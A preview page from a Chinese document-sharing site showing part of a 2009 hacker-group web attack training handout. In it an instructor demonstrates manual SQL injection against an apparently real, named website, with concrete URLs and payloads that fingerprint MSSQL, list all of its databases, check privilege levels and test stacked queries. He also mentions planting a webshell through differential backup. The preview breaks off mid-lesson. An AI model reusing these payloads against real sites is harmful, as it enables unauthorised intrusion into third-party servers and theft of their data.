绿色兵团-2009培训活动-WEB攻防培训资料.docVIP

绿色兵团-2009培训活动-WEB攻防培训资料.doc

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
作者:应要求不透露名字 化名:外星人(兵团高级成员) 大家好,我是负责本次web攻防课程的讲师!这次我们通过几个实例贯穿全课程,希望可以得到较好的效果。 好的 下面我们看一下http://www.mtufc.tv/newsdetail.asp?id=342 这个注入点。 http://www.mtufc.tv/newsdetail.asp?id=342’ url后面加’ 我们看爆出的信息。 Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string . /newsdetail.asp, line 9 我们从而得知了他的数据库是mssql http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select @@version)— 查询到 数据库版本是Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) http://www.mtufc.tv/newsdetail.asp?id=342 and 1=user_name(); 当前数据库连接用户为newuser http://www.mtufc.tv/newsdetail.asp?id=342 and 1=db_name();-- 当前数据库名为dbmtutd 这里我们延伸一下:小插曲,~.0~!!让我们把所有的数据库都爆出来如何?也许是个不错的主意,因为mssql是可以跨库查询的,这意味着什么? 嘿嘿! and 1=(select name from master.dbo.sysdatabases where dbid=7)-- //暴库 dbid=6 递增或递减数字来爆出所有库名 http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select name from master.dbo.sysdatabases where dbid=1)— http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select name from master.dbo.sysdatabases where dbid=2)-- ……. 最后我们得到了所有数据库。。。。 master, tempdb, model, msdb, pubs, Northwind, sitebuilder18116D05DA2EAB740940AA01C8CCF0CA, classified, thai_g_dnn, ULTECH2, chili, dbmtutd, thl_bronze, 《SQL Server手注暴库表列数据》 里列出了详细的跨库利用方法,在此不在讲解了,大家课下看一下! 好吧插曲结束,我们继续课程 Mssql数据库有着很多用户组,他们代表着不同的权限。那么我们来检测newuser用户的权限吧。 http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select IS_SRVROLEMEMBER(sysadmin));-- 返回页面不正常,很遗憾不是sa权限。 http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select IS_MEMBER(db_owner));-- 这条语句返回是正常的,好吧是db_owner权限,DB可以做很多事情,比如列出服务器目录,以及在差异备份一句话到WEB目录,或者任何有权限的目录,运气好的话直接备份进启动项拿到终端权限。 接下来我们来查询数据库是否支持多行执行,上面说到DB权限可以差异备份一句话到web目录,可是必须在数据库支持多行执行的情况下才行,那么就让我们看看吧。 http://www.mtufc.tv/newsdetail.asp?id=342;declare @a int— 返回正常说明支持多行执行,返回错误则反之。显而易见这个站支持多行执行。先不要高兴的太早,我们往下看。 为了让大家学到有趣的东西,我们依然不走捷径,为了表示上次太过于自信而没有做任何备课,此次我在课前做了大量的测试,那么让我们继续我们的课程。 and (select count(*) from *)=0 好吧让我们用这条语句来猜测网站的管理表

文档评论(0)

df829393 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档